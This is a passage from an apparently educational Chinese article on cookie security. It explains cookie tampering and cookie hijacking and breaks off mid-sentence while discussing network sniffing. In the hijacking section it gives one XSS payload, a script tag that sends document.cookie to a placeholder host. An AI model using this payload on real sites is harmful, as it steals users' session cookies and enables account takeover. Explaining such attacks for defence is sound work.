前言
Cookie 往往用来存储用户的某些相关信息,例如身份,配置等。Cookie 使用起来非常简单和方便,然而如果不加注意,它又可能成为我们网站的安全隐患,带来极大的风险。
那么不正确地使用 Cookie 有哪些安全问题呢?
Cookie 安全问题
Cookie篡改
这是最容易出现的情况,也就是直接修改 Cookie 的内容。我们知道,Cookie 是存储在客户端的,所以里面的内容可以通过浏览器的控制台或者 js 代码进行修改的。因此 Cookie 相对而言是不可信的,如果我们把一些重要的信息,例如权限信息存在 Cookie,很容易就被有心人篡改,导致越权问题。
Cookie 劫持
很多网站是用 Cookie 来做用户识别的,例如 Cookie 里存储了 Session id,通过Session id 来获取更进一步的用户信息。因此如果用户的 Cookie 被劫持了,盗用者是可以用这个 Cookie 来伪装成该用户来进行网站操作的。Cookie 劫持一般和 XSS 攻击一起使用,先通过 XSS 攻击获得了在页面上运行 js 的能力,然后通过 js 读取 Cookie,并发送给远程的服务器。例如
<script>document.location='http://xxx.com/getCookie.php?cookie='+document.cookie;</script>
除了通过 XSS 攻击来劫持 Cookie 外,攻击者还可能在网络节点中嗅探到 HTTP 连接的 Cookie。H